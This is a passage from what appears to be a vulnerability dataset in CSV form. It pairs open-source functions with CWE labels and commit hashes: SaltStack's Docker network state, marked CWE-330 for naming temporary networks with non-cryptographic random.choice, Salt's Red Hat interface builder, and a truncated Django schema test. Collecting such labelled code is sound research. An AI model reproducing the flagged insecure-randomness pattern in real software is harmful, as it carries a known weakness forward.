                desired_pool_count == 0
                and existing_pool_count == 1
                and is_default_pool(network[""IPAM""][""Config""][0])
            ):
                # If we're not explicitly configuring an IPAM pool, then we
                # don't care what the subnet is. Docker networks created with
                # no explicit IPAM configuration are assigned a single IPAM
                # pool containing just a subnet and gateway. If the above if
                # statement resolves as True, then we know that both A) we
                # aren't explicitly configuring IPAM, and B) the existing
                # network appears to be one that was created without an
                # explicit IPAM configuration (since it has the default pool
                # config values). Of course, it could be possible that the
                # existing network was created with a single custom IPAM pool,
                # with just a subnet and gateway. But even if this was the
                # case, the fact that we aren't explicitly enforcing IPAM
                # configuration means we don't really care what the existing
                # IPAM configuration is. At any rate, to avoid IPAM differences
                # when comparing the existing network to the temp network, we
                # need to clear the existing network's IPAM configuration.
                network[""IPAM""][""Config""] = []

            changes = __salt__[""docker.compare_networks""](
                network, temp_net_info, ignore=""Name,Id,Created,Containers""
            )

            if not changes:
                # No changes to the network, so we'll be keeping the existing
                # network and at most just connecting containers to it.
                create_network = False

            else:
                ret[""changes""][name] = changes
                if __opts__[""test""]:
                    ret[""result""] = None
                    ret[""comment""] = ""Network would be recreated with new config""
                    return ret

                if network[""Containers""]:
                    # We've removed the network, so there are now no containers
                    # attached to it. However, once we recreate the network
                    # with the new configuration we may need to reconnect the
                    # containers that were previously connected. Even if we're
                    # not reconnecting, we still need to track the containers
                    # so that we can report on which were disconnected.
                    disconnected_containers = copy.deepcopy(network[""Containers""])
                    if not containers and reconnect:
                        # Grab the links and aliases from each connected
                        # container so that we have them when we attempt to
                        # reconnect later
                        for cid in disconnected_containers:
                            try:
                                cinfo = __salt__[""docker.inspect_container""](cid)
                                netinfo = cinfo[""NetworkSettings""][""Networks""][name]
                                # Links and Aliases will be None if not
                                # explicitly set, hence using ""or"" instead of
                                # placing the empty list inside the dict.get
                                net_links = netinfo.get(""Links"") or []
                                net_aliases = netinfo.get(""Aliases"") or []
                                if net_links:
                                    disconnected_containers[cid][""Links""] = net_links
                                if net_aliases:
                                    disconnected_containers[cid][
                                        ""Aliases""
                                    ] = net_aliases
                            except (CommandExecutionError, KeyError, ValueError):
                                continue

                remove_result = _remove_network(network)
                if not remove_result[""result""]:
                    return remove_result

                # Replace the Containers key with an empty dict so that when we
                # check for connnected containers below, we correctly see that
                # there are none connected.
                network[""Containers""] = {}
        finally:
            try:
                __salt__[""docker.remove_network""](temp_net_name)
            except CommandExecutionError as exc:
                ret.setdefault(""warnings"", []).append(
                    ""Failed to remove temp network '{}': {}."".format(
                        temp_net_name, exc.__str__()
                    )
                )

    if create_network:
        log.debug(""Network '%s' will be created"", name)
        if __opts__[""test""]:
            # NOTE: if the container already existed and needed to be
            # recreated, and we were in test mode, we would have already exited
            # above with a comment about the network needing to be recreated.
            # So, even though the below block to create the network would be
            # executed to create the network both when it's being recreated and
            # when it's being created for the first time, the below comment is
            # still accurate.
            ret[""result""] = None
            ret[""comment""] = ""Network will be created""
            return ret

        kwargs[""ipam""] = ipam_config
        try:
            __salt__[""docker.create_network""](
                name,
                skip_translate=True,  # No need to translate (already did)
                **kwargs
            )
        except Exception as exc:  # pylint: disable=broad-except
            ret[""comment""] = ""Failed to create network '{}': {}"".format(
                name, exc.__str__()
            )
            return ret
        else:
            action = ""recreated"" if network is not None else ""created""
            ret[""changes""][action] = True
            ret[""comment""] = ""Network '{}' {}"".format(
                name,
                ""created"" if network is None else ""was replaced with updated config"",
            )
            # Make sure the ""Containers"" key exists for logic below
            network = {""Containers"": {}}

    # If no containers were specified in the state but we have disconnected
    # some in the process of recreating the network, we should reconnect those
    # containers.
    if containers is None and reconnect and disconnected_containers:
        to_connect = disconnected_containers

    # Don't try to connect any containers which are already connected. If we
    # created/re-created the network, then network['Containers'] will be empty
    # and no containers will be deleted from the to_connect dict (the result
    # being that we will reconnect all containers in the to_connect dict).
    # list() is used here because we will potentially be modifying the
    # dictionary during iteration.
    for cid in list(to_connect):
        if cid in network[""Containers""]:
            del to_connect[cid]

    errors = []
    if to_connect:
        for cid, connect_info in to_connect.items():
            connect_kwargs = {}
            if cid in disconnected_containers:
                for key_name, arg_name in (
                    (""IPv4Address"", ""ipv4_address""),
                    (""IPV6Address"", ""ipv6_address""),
                    (""Links"", ""links""),
                    (""Aliases"", ""aliases""),
                ):
                    try:
                        connect_kwargs[arg_name] = connect_info[key_name]
                    except (KeyError, AttributeError):
                        continue
                    else:
                        if key_name.endswith(""Address""):
                            connect_kwargs[arg_name] = connect_kwargs[arg_name].rsplit(
                                ""/"", 1
                            )[0]
            try:
                __salt__[""docker.connect_container_to_network""](
                    cid, name, **connect_kwargs
                )
            except CommandExecutionError as exc:
                if not connect_kwargs:
                    errors.append(exc.__str__())
                else:
                    # We failed to reconnect with the container's old IP
                    # configuration. Reconnect using automatic IP config.
                    try:
                        __salt__[""docker.connect_container_to_network""](cid, name)
                    except CommandExecutionError as exc:
                        errors.append(exc.__str__())
                    else:
                        ret[""changes""].setdefault(
                            ""reconnected""
                            if cid in disconnected_containers
                            else ""connected"",
                            [],
                        ).append(connect_info[""Name""])
            else:
                ret[""changes""].setdefault(
                    ""reconnected"" if cid in disconnected_containers else ""connected"", []
                ).append(connect_info[""Name""])

    if errors:
        if ret[""comment""]:
            ret[""comment""] += "". ""
        ret[""comment""] += "". "".join(errors) + "".""
    else:
        ret[""result""] = True

    # Figure out if we removed any containers as a result of replacing the
    # network and did not reconnect them. We only would not have reconnected if
    # a list of containers was passed in the ""containers"" argument, and there
    # were containers connected to the network prior to its replacement which
    # were not part of that list.
    for cid, c_info in disconnected_containers.items():
        if cid not in to_connect:
            ret[""changes""].setdefault(""disconnected"", []).append(c_info[""Name""])

    return ret",CWE-330,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def present(
    name,
    skip_translate=None,
    ignore_collisions=False,
    validate_ip_addrs=True,
    containers=None,
    reconnect=True,
    **kwargs
):
    """"""
    .. versionchanged:: 2018.3.0
        Support added for network configuration options other than ``driver``
        and ``driver_opts``, as well as IPAM configuration.

    Ensure that a network is present

    .. note::
        This state supports all arguments for network and IPAM pool
        configuration which are available for the release of docker-py
        installed on the minion. For that reason, the arguments described below
        in the :ref:`NETWORK CONFIGURATION
        <salt-states-docker-network-present-netconf>` and :ref:`IP ADDRESS
        MANAGEMENT (IPAM) <salt-states-docker-network-present-ipam>` sections
        may not accurately reflect what is available on the minion. The
        :py:func:`docker.get_client_args
        <salt.modules.dockermod.get_client_args>` function can be used to check
        the available arguments for the installed version of docker-py (they
        are found in the ``network_config`` and ``ipam_config`` sections of the
        return data), but Salt will not prevent a user from attempting to use
        an argument which is unsupported in the release of Docker which is
        installed. In those cases, network creation be attempted but will fail.

    name
        Network name

    skip_translate
        This function translates Salt SLS input into the format which
        docker-py expects. However, in the event that Salt's translation logic
        fails (due to potential changes in the Docker Remote API, or to bugs in
        the translation code), this argument can be used to exert granular
        control over which arguments are translated and which are not.

        Pass this argument as a comma-separated list (or Python list) of
        arguments, and translation for each passed argument name will be
        skipped. Alternatively, pass ``True`` and *all* translation will be
        skipped.

        Skipping tranlsation allows for arguments to be formatted directly in
        the format which docker-py expects. This allows for API changes and
        other issues to be more easily worked around. See the following links
        for more information:

        - `docker-py Low-level API`_
        - `Docker Engine API`_

        .. versionadded:: 2018.3.0

    .. _`docker-py Low-level API`: http://docker-py.readthedocs.io/en/stable/api.html#docker.api.container.ContainerApiMixin.create_container
    .. _`Docker Engine API`: https://docs.docker.com/engine/api/v1.33/#operation/ContainerCreate

    ignore_collisions : False
        Since many of docker-py's arguments differ in name from their CLI
        counterparts (with which most Docker users are more familiar), Salt
        detects usage of these and aliases them to the docker-py version of
        that argument. However, if both the alias and the docker-py version of
        the same argument (e.g. ``options`` and ``driver_opts``) are used, an error
        will be raised. Set this argument to ``True`` to suppress these errors
        and keep the docker-py version of the argument.

        .. versionadded:: 2018.3.0

    validate_ip_addrs : True
        For parameters which accept IP addresses/subnets as input, validation
        will be performed. To disable, set this to ``False``.

        .. versionadded:: 2018.3.0

    containers
        A list of containers which should be connected to this network.

        .. note::
            As of the 2018.3.0 release, this is not the recommended way of
            managing a container's membership in a network, for a couple
            reasons:

            1. It does not support setting static IPs, aliases, or links in the
               container's IP configuration.
            2. If a :py:func:`docker_container.running
               <salt.states.docker_container.running>` state replaces a
               container, it will not be reconnected to the network until the
               ``docker_network.present`` state is run again. Since containers
               often have ``require`` requisites to ensure that the network
               is present, this means that the ``docker_network.present`` state
               ends up being run *before* the :py:func:`docker_container.running
               <salt.states.docker_container.running>`, leaving the container
               unattached at the end of the Salt run.

            For these reasons, it is recommended to use
            :ref:`docker_container.running's network management support
            <salt-states-docker-container-network-management>`.

    reconnect : True
        If ``containers`` is not used, and the network is replaced, then Salt
        will keep track of the containers which were connected to the network
        and reconnect them to the network after it is replaced. Salt will first
        attempt to reconnect using the same IP the container had before the
        network was replaced. If that fails (for instance, if the network was
        replaced because the subnet was modified), then the container will be
        reconnected without an explicit IP address, and its IP will be assigned
        by Docker.

        Set this option to ``False`` to keep Salt from trying to reconnect
        containers. This can be useful in some cases when :ref:`managing static
        IPs in docker_container.running
        <salt-states-docker-container-network-management>`. For instance, if a
        network's subnet is modified, it is likely that the static IP will need
        to be updated in the ``docker_container.running`` state as well. When
        the network is replaced, the initial reconnect attempt would fail, and
        the container would be reconnected with an automatically-assigned IP
        address. Then, when the ``docker_container.running`` state executes, it
        would disconnect the network *again* and reconnect using the new static
        IP. Disabling the reconnect behavior in these cases would prevent the
        unnecessary extra reconnection.

        .. versionadded:: 2018.3.0

    .. _salt-states-docker-network-present-netconf:

    **NETWORK CONFIGURATION ARGUMENTS**

    driver
        Network driver

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan

    driver_opts (or *driver_opt*, or *options*)
        Options for the network driver. Either a dictionary of option names and
        values or a Python list of strings in the format ``varname=value``. The
        below three examples are equivalent:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts: macvlan_mode=bridge,parent=eth0

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts:
                  - macvlan_mode=bridge
                  - parent=eth0

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts:
                  - macvlan_mode: bridge
                  - parent: eth0

        The options can also simply be passed as a dictionary, though this can
        be error-prone due to some :ref:`idiosyncrasies <yaml-idiosyncrasies>`
        with how PyYAML loads nested data structures:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts:
                    macvlan_mode: bridge
                    parent: eth0

    check_duplicate : True
        If ``True``, checks for networks with duplicate names. Since networks
        are primarily keyed based on a random ID and not on the name, and
        network name is strictly a user-friendly alias to the network which is
        uniquely identified using ID, there is no guaranteed way to check for
        duplicates. This option providess a best effort, checking for any
        networks which have the same name, but it is not guaranteed to catch
        all name collisions.

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - check_duplicate: False

    internal : False
        If ``True``, restricts external access to the network

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - internal: True

    labels
        Add metadata to the network. Labels can be set both with and without
        values, and labels with values can be passed either as ``key=value`` or
        ``key: value`` pairs. For example, while the below would be very
        confusing to read, it is technically valid, and demonstrates the
        different ways in which labels can be passed:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - labels:
                  - foo
                  - bar=baz
                  - hello: world

        The labels can also simply be passed as a YAML dictionary, though this
        can be error-prone due to some :ref:`idiosyncrasies
        <yaml-idiosyncrasies>` with how PyYAML loads nested data structures:

        .. code-block:: yaml

            foo:
              docker_network.present:
                - labels:
                    foo: ''
                    bar: baz
                    hello: world

        .. versionchanged:: 2018.3.0
            Methods for specifying labels can now be mixed. Earlier releases
            required either labels with or without values.

    enable_ipv6 (or *ipv6*) : False
        Enable IPv6 on the network

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - enable_ipv6: True

        .. note::
            While it should go without saying, this argument must be set to
            ``True`` to :ref:`configure an IPv6 subnet
            <salt-states-docker-network-present-ipam>`. Also, if this option is
            turned on without an IPv6 subnet explicitly configured, you will
            get an error unless you have set up a fixed IPv6 subnet. Consult
            the `Docker IPv6 docs`_ for information on how to do this.

            .. _`Docker IPv6 docs`: https://docs.docker.com/v17.09/engine/userguide/networking/default_network/ipv6/

    attachable : False
        If ``True``, and the network is in the global scope, non-service
        containers on worker nodes will be able to connect to the network.

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - attachable: True

        .. note::
            This option cannot be reliably managed on CentOS 7. This is because
            while support for this option was added in API version 1.24, its
            value was not added to the inpsect results until API version 1.26.
            The version of Docker which is available for CentOS 7 runs API
            version 1.24, meaning that while Salt can pass this argument to the
            API, it has no way of knowing the value of this config option in an
            existing Docker network.

    scope
        Specify the network's scope (``local``, ``global`` or ``swarm``)

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - scope: local

    ingress : False
        If ``True``, create an ingress network which provides the routing-mesh in
        swarm mode

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ingress: True

    .. _salt-states-docker-network-present-ipam:

    **IP ADDRESS MANAGEMENT (IPAM)**

    This state supports networks with either IPv4, or both IPv4 and IPv6. If
    configuring IPv4, then you can pass the :ref:`IPAM pool arguments
    <salt-states-docker-network-present-ipam-pool-arguments>` below as
    individual arguments. However, if configuring IPv4 and IPv6, the arguments
    must be passed as a list of dictionaries, in the ``ipam_pools`` argument
    (click :ref:`here <salt-states-docker-network-present-ipam-examples>` for
    some examples). `These docs`_ also have more information on these
    arguments.

    .. _`These docs`: http://docker-py.readthedocs.io/en/stable/api.html#docker.types.IPAMPool

    *IPAM ARGUMENTS*

    ipam_driver
        IPAM driver to use, if different from the default one

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo

    ipam_opts
        Options for the IPAM driver. Either a dictionary of option names and
        values or a Python list of strings in the format ``varname=value``. The
        below three examples are equivalent:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo
                - ipam_opts: foo=bar,baz=qux

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo
                - ipam_opts:
                  - foo=bar
                  - baz=qux

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo
                - ipam_opts:
                  - foo: bar
                  - baz: qux

        The options can also simply be passed as a dictionary, though this can
        be error-prone due to some :ref:`idiosyncrasies <yaml-idiosyncrasies>`
        with how PyYAML loads nested data structures:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: macvlan
                - ipam_opts:
                    foo: bar
                    baz: qux

    .. _salt-states-docker-network-present-ipam-pool-arguments:

    *IPAM POOL ARGUMENTS*

    subnet
        Subnet in CIDR format that represents a network segment

    iprange (or *ip_range*)
        Allocate container IP from a sub-range within the subnet

        Subnet in CIDR format that represents a network segment

    gateway
        IPv4 or IPv6 gateway for the master subnet

    aux_addresses (or *aux_address*)
        A dictionary of mapping container names to IP addresses which should be
        allocated for them should they connect to the network. Either a
        dictionary of option names and values or a Python list of strings in
        the format ``host=ipaddr``.

    .. _salt-states-docker-network-present-ipam-examples:

    *IPAM CONFIGURATION EXAMPLES*

    Below is an example of an IPv4-only network (keep in mind that ``subnet``
    is the only required argument).

    .. code-block:: yaml

        mynet:
          docker_network.present:
            - subnet: 10.0.20.0/24
            - iprange: 10.0.20.128/25
            - gateway: 10.0.20.254
            - aux_addresses:
              - foo.bar.tld: 10.0.20.50
              - hello.world.tld: 10.0.20.51

    .. note::
        The ``aux_addresses`` can be passed differently, in the same way that
        ``driver_opts`` and ``ipam_opts`` can.

    This same network could also be configured this way:

    .. code-block:: yaml

        mynet:
          docker_network.present:
            - ipam_pools:
              - subnet: 10.0.20.0/24
                iprange: 10.0.20.128/25
                gateway: 10.0.20.254
                aux_addresses:
                  foo.bar.tld: 10.0.20.50
                  hello.world.tld: 10.0.20.51

    Here is an example of a mixed IPv4/IPv6 subnet.

    .. code-block:: yaml

        mynet:
          docker_network.present:
            - ipam_pools:
              - subnet: 10.0.20.0/24
                gateway: 10.0.20.1
              - subnet: fe3f:2180:26:1::/123
                gateway: fe3f:2180:26:1::1
    """"""
    ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}

    try:
        network = __salt__[""docker.inspect_network""](name)
    except CommandExecutionError as exc:
        msg = exc.__str__()
        if ""404"" in msg:
            # Network not present
            network = None
        else:
            ret[""comment""] = msg
            return ret

    # map container's IDs to names
    to_connect = {}
    missing_containers = []
    stopped_containers = []
    for cname in __utils__[""args.split_input""](containers or []):
        try:
            cinfo = __salt__[""docker.inspect_container""](cname)
        except CommandExecutionError:
            missing_containers.append(cname)
        else:
            try:
                cid = cinfo[""Id""]
            except KeyError:
                missing_containers.append(cname)
            else:
                if not cinfo.get(""State"", {}).get(""Running"", False):
                    stopped_containers.append(cname)
                else:
                    to_connect[cid] = {""Name"": cname}

    if missing_containers:
        ret.setdefault(""warnings"", []).append(
            ""The following containers do not exist: {}."".format(
                "", "".join(missing_containers)
            )
        )

    if stopped_containers:
        ret.setdefault(""warnings"", []).append(
            ""The following containers are not running: {}."".format(
                "", "".join(stopped_containers)
            )
        )

    # We might disconnect containers in the process of recreating the network,
    # we'll need to keep track these containers so we can reconnect them later.
    disconnected_containers = {}

    try:
        kwargs = __utils__[""docker.translate_input""](
            salt.utils.dockermod.translate.network,
            skip_translate=skip_translate,
            ignore_collisions=ignore_collisions,
            validate_ip_addrs=validate_ip_addrs,
            **__utils__[""args.clean_kwargs""](**kwargs)
        )
    except Exception as exc:  # pylint: disable=broad-except
        ret[""comment""] = exc.__str__()
        return ret

    # Separate out the IPAM config options and build the IPAM config dict
    ipam_kwargs = {}
    ipam_kwarg_names = [""ipam"", ""ipam_driver"", ""ipam_opts"", ""ipam_pools""]
    ipam_kwarg_names.extend(
        __salt__[""docker.get_client_args""](""ipam_config"")[""ipam_config""]
    )
    for key in ipam_kwarg_names:
        try:
            ipam_kwargs[key] = kwargs.pop(key)
        except KeyError:
            pass
    if ""ipam"" in ipam_kwargs:
        if len(ipam_kwargs) > 1:
            ret[""comment""] = (
                ""Cannot mix the 'ipam' argument with any of the IPAM config ""
                ""arguments. See documentation for details.""
            )
            return ret
        ipam_config = ipam_kwargs[""ipam""]
    else:
        ipam_pools = ipam_kwargs.pop(""ipam_pools"", ())
        try:
            ipam_config = __utils__[""docker.create_ipam_config""](
                *ipam_pools, **ipam_kwargs
            )
        except Exception as exc:  # pylint: disable=broad-except
            ret[""comment""] = exc.__str__()
            return ret

    # We'll turn this off if we decide below that creating the network is not
    # necessary.
    create_network = True

    if network is not None:
        log.debug(""Docker network '%s' already exists"", name)

        # Set the comment now to say that it already exists, if we need to
        # recreate the network with new config we'll update the comment later.
        ret[
            ""comment""
        ] = ""Network '{}' already exists, and is configured "" ""as specified"".format(
            name
        )
        log.trace(""Details of docker network '%s': %s"", name, network)

        temp_net_name = """".join(
            random.choice(string.ascii_lowercase) for _ in range(20)
        )

        try:
            # When using enable_ipv6, you *must* provide a subnet. But we don't
            # care about the subnet when we make our temp network, we only care
            # about the non-IPAM values in the network. And we also do not want
            # to try some hacky workaround where we choose a small IPv6 subnet
            # to pass when creating the temp network, that may end up
            # overlapping with a large IPv6 subnet already in use by Docker.
            # So, for purposes of comparison we will create the temp network
            # with enable_ipv6=False and then munge the inspect results before
            # performing the comparison. Note that technically it is not
            # required that one specify both v4 and v6 subnets when creating a
            # network, but not specifying IPv4 makes it impossible for us to
            # reliably compare the SLS input to the existing network, as we
            # wouldng't know if the IPv4 subnet in the existing network was
            # explicitly configured or was automatically assigned by Docker.
            enable_ipv6 = kwargs.pop(""enable_ipv6"", None)
            __salt__[""docker.create_network""](
                temp_net_name,
                skip_translate=True,  # No need to translate (already did)
                enable_ipv6=False,
                **kwargs
            )
        except CommandExecutionError as exc:
            ret[""comment""] = ""Failed to create temp network for comparison: {}"".format(
                exc.__str__()
            )
            return ret
        else:
            # Replace the value so we can use it later
            if enable_ipv6 is not None:
                kwargs[""enable_ipv6""] = enable_ipv6

        try:
            try:
                temp_net_info = __salt__[""docker.inspect_network""](temp_net_name)
            except CommandExecutionError as exc:
                ret[""comment""] = ""Failed to inspect temp network: {}"".format(
                    exc.__str__()
                )
                return ret
            else:
                temp_net_info[""EnableIPv6""] = bool(enable_ipv6)

            # Replace the IPAM configuration in the temp network with the IPAM
            # config dict we created earlier, for comparison purposes. This is
            # necessary because we cannot create two networks that have
            # overlapping subnets (the Docker Engine will throw an error).
            temp_net_info[""IPAM""] = ipam_config

            existing_pool_count = len(network[""IPAM""][""Config""])
            desired_pool_count = len(temp_net_info[""IPAM""][""Config""])

            is_default_pool = (
                lambda x: True if sorted(x) == [""Gateway"", ""Subnet""] else False
            )

            if (
                desired_pool_count == 0
                and existing_pool_count == 1
                and is_default_pool(network[""IPAM""][""Config""][0])
            ):
                # If we're not explicitly configuring an IPAM pool, then we
                # don't care what the subnet is. Docker networks created with
                # no explicit IPAM configuration are assigned a single IPAM
                # pool containing just a subnet and gateway. If the above if
                # statement resolves as True, then we know that both A) we
                # aren't explicitly configuring IPAM, and B) the existing
                # network appears to be one that was created without an
                # explicit IPAM configuration (since it has the default pool
                # config values). Of course, it could be possible that the
                # existing network was created with a single custom IPAM pool,
                # with just a subnet and gateway. But even if this was the
                # case, the fact that we aren't explicitly enforcing IPAM
                # configuration means we don't really care what the existing
                # IPAM configuration is. At any rate, to avoid IPAM differences
                # when comparing the existing network to the temp network, we
                # need to clear the existing network's IPAM configuration.
                network[""IPAM""][""Config""] = []

            changes = __salt__[""docker.compare_networks""](
                network, temp_net_info, ignore=""Name,Id,Created,Containers""
            )

            if not changes:
                # No changes to the network, so we'll be keeping the existing
                # network and at most just connecting containers to it.
                create_network = False

            else:
                ret[""changes""][name] = changes
                if __opts__[""test""]:
                    ret[""result""] = None
                    ret[""comment""] = ""Network would be recreated with new config""
                    return ret

                if network[""Containers""]:
                    # We've removed the network, so there are now no containers
                    # attached to it. However, once we recreate the network
                    # with the new configuration we may need to reconnect the
                    # containers that were previously connected. Even if we're
                    # not reconnecting, we still need to track the containers
                    # so that we can report on which were disconnected.
                    disconnected_containers = copy.deepcopy(network[""Containers""])
                    if not containers and reconnect:
                        # Grab the links and aliases from each connected
                        # container so that we have them when we attempt to
                        # reconnect later
                        for cid in disconnected_containers:
                            try:
                                cinfo = __salt__[""docker.inspect_container""](cid)
                                netinfo = cinfo[""NetworkSettings""][""Networks""][name]
                                # Links and Aliases will be None if not
                                # explicitly set, hence using ""or"" instead of
                                # placing the empty list inside the dict.get
                                net_links = netinfo.get(""Links"") or []
                                net_aliases = netinfo.get(""Aliases"") or []
                                if net_links:
                                    disconnected_containers[cid][""Links""] = net_links
                                if net_aliases:
                                    disconnected_containers[cid][
                                        ""Aliases""
                                    ] = net_aliases
                            except (CommandExecutionError, KeyError, ValueError):
                                continue

                remove_result = _remove_network(network)
                if not remove_result[""result""]:
                    return remove_result

                # Replace the Containers key with an empty dict so that when we
                # check for connnected containers below, we correctly see that
                # there are none connected.
                network[""Containers""] = {}
        finally:
            try:
                __salt__[""docker.remove_network""](temp_net_name)
            except CommandExecutionError as exc:
                ret.setdefault(""warnings"", []).append(
                    ""Failed to remove temp network '{}': {}."".format(
                        temp_net_name, exc.__str__()
                    )
                )

    if create_network:
        log.debug(""Network '%s' will be created"", name)
        if __opts__[""test""]:
            # NOTE: if the container already existed and needed to be
            # recreated, and we were in test mode, we would have already exited
            # above with a comment about the network needing to be recreated.
            # So, even though the below block to create the network would be
            # executed to create the network both when it's being recreated and
            # when it's being created for the first time, the below comment is
            # still accurate.
            ret[""result""] = None
            ret[""comment""] = ""Network will be created""
            return ret

        kwargs[""ipam""] = ipam_config
        try:
            __salt__[""docker.create_network""](
                name,
                skip_translate=True,  # No need to translate (already did)
                **kwargs
            )
        except Exception as exc:  # pylint: disable=broad-except
            ret[""comment""] = ""Failed to create network '{}': {}"".format(
                name, exc.__str__()
            )
            return ret
        else:
            action = ""recreated"" if network is not None else ""created""
            ret[""changes""][action] = True
            ret[""comment""] = ""Network '{}' {}"".format(
                name,
                ""created"" if network is None else ""was replaced with updated config"",
            )
            # Make sure the ""Containers"" key exists for logic below
            network = {""Containers"": {}}

    # If no containers were specified in the state but we have disconnected
    # some in the process of recreating the network, we should reconnect those
    # containers.
    if containers is None and reconnect and disconnected_containers:
        to_connect = disconnected_containers

    # Don't try to connect any containers which are already connected. If we
    # created/re-created the network, then network['Containers'] will be empty
    # and no containers will be deleted from the to_connect dict (the result
    # being that we will reconnect all containers in the to_connect dict).
    # list() is used here because we will potentially be modifying the
    # dictionary during iteration.
    for cid in list(to_connect):
        if cid in network[""Containers""]:
            del to_connect[cid]

    errors = []
    if to_connect:
        for cid, connect_info in to_connect.items():
            connect_kwargs = {}
            if cid in disconnected_containers:
                for key_name, arg_name in (
                    (""IPv4Address"", ""ipv4_address""),
                    (""IPV6Address"", ""ipv6_address""),
                    (""Links"", ""links""),
                    (""Aliases"", ""aliases""),
                ):
                    try:
                        connect_kwargs[arg_name] = connect_info[key_name]
                    except (KeyError, AttributeError):
                        continue
                    else:
                        if key_name.endswith(""Address""):
                            connect_kwargs[arg_name] = connect_kwargs[arg_name].rsplit(
                                ""/"", 1
                            )[0]
            try:
                __salt__[""docker.connect_container_to_network""](
                    cid, name, **connect_kwargs
                )
            except CommandExecutionError as exc:
                if not connect_kwargs:
                    errors.append(exc.__str__())
                else:
                    # We failed to reconnect with the container's old IP
                    # configuration. Reconnect using automatic IP config.
                    try:
                        __salt__[""docker.connect_container_to_network""](cid, name)
                    except CommandExecutionError as exc:
                        errors.append(exc.__str__())
                    else:
                        ret[""changes""].setdefault(
                            ""reconnected""
                            if cid in disconnected_containers
                            else ""connected"",
                            [],
                        ).append(connect_info[""Name""])
            else:
                ret[""changes""].setdefault(
                    ""reconnected"" if cid in disconnected_containers else ""connected"", []
                ).append(connect_info[""Name""])

    if errors:
        if ret[""comment""]:
            ret[""comment""] += "". ""
        ret[""comment""] += "". "".join(errors) + "".""
    else:
        ret[""result""] = True

    # Figure out if we removed any containers as a result of replacing the
    # network and did not reconnect them. We only would not have reconnected if
    # a list of containers was passed in the ""containers"" argument, and there
    # were containers connected to the network prior to its replacement which
    # were not part of that list.
    for cid, c_info in disconnected_containers.items():
        if cid not in to_connect:
            ret[""changes""].setdefault(""disconnected"", []).append(c_info[""Name""])

    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/rh_ip.py,0,"def build_interface(iface, iface_type, enabled, **settings):
    '''
    Build an interface script for a network interface.

    CLI Example:

    .. code-block:: bash

        salt '*' ip.build_interface eth0 eth <settings>
    '''
    if __grains__['os'] == 'Fedora':
        if __grains__['osmajorrelease'] >= 18:
            rh_major = '7'
        else:
            rh_major = '6'
    else:
        rh_major = __grains__['osrelease'][:1]

    iface_type = iface_type.lower()

    if iface_type not in _IFACE_TYPES:
        _raise_error_iface(iface, iface_type, _IFACE_TYPES)

    if iface_type == 'slave':
        settings['slave'] = 'yes'
        if 'master' not in settings:
            msg = 'master is a required setting for slave interfaces'
            log.error(msg)
            raise AttributeError(msg)

    if iface_type == 'vlan':
        settings['vlan'] = 'yes'

    if iface_type == 'bridge':
        __salt__['pkg.install']('bridge-utils')

    if iface_type in ['eth', 'bond', 'bridge', 'slave', 'vlan', 'ipip', 'ib', 'alias']:
        opts = _parse_settings_eth(settings, iface_type, enabled, iface)
        try:
            template = JINJA.get_template('rh{0}_eth.jinja'.format(rh_major))
        except jinja2.exceptions.TemplateNotFound:
            log.error(
                'Could not load template rh{0}_eth.jinja'.format(
                    rh_major
                )
            )
            return ''
        ifcfg = template.render(opts)

    if 'test' in settings and settings['test']:
        return _read_temp(ifcfg)

    _write_file_iface(iface, ifcfg, _RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}')
    path = os.path.join(_RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}'.format(iface))

    return _read_file(path)",,saltstack/salt,049d8efd7c6dc16288d74f49399b4727bd658f48,"def build_interface(iface, iface_type, enabled, **settings):
    '''
    Build an interface script for a network interface.

    CLI Example:

    .. code-block:: bash

        salt '*' ip.build_interface eth0 eth <settings>
    '''
    if __grains__['os'] == 'Fedora':
        rh_major = '6'
    else:
        rh_major = __grains__['osrelease'][:1]

    iface_type = iface_type.lower()

    if iface_type not in _IFACE_TYPES:
        _raise_error_iface(iface, iface_type, _IFACE_TYPES)

    if iface_type == 'slave':
        settings['slave'] = 'yes'
        if 'master' not in settings:
            msg = 'master is a required setting for slave interfaces'
            log.error(msg)
            raise AttributeError(msg)

    if iface_type == 'vlan':
        settings['vlan'] = 'yes'

    if iface_type == 'bridge':
        __salt__['pkg.install']('bridge-utils')

    if iface_type in ['eth', 'bond', 'bridge', 'slave', 'vlan', 'ipip', 'ib', 'alias']:
        opts = _parse_settings_eth(settings, iface_type, enabled, iface)
        try:
            template = JINJA.get_template('rh{0}_eth.jinja'.format(rh_major))
        except jinja2.exceptions.TemplateNotFound:
            log.error(
                'Could not load template rh{0}_eth.jinja'.format(
                    rh_major
                )
            )
            return ''
        ifcfg = template.render(opts)

    if 'test' in settings and settings['test']:
        return _read_temp(ifcfg)

    _write_file_iface(iface, ifcfg, _RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}')
    path = os.path.join(_RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}'.format(iface))

    return _read_file(path)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/schema/tests.py,0,"def test_func_unique_constraint_nondeterministic(self):
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        constraint = UniqueConstraint(Random(), name=""func_random_uq"")
        with connection.schema_editor() as editor:
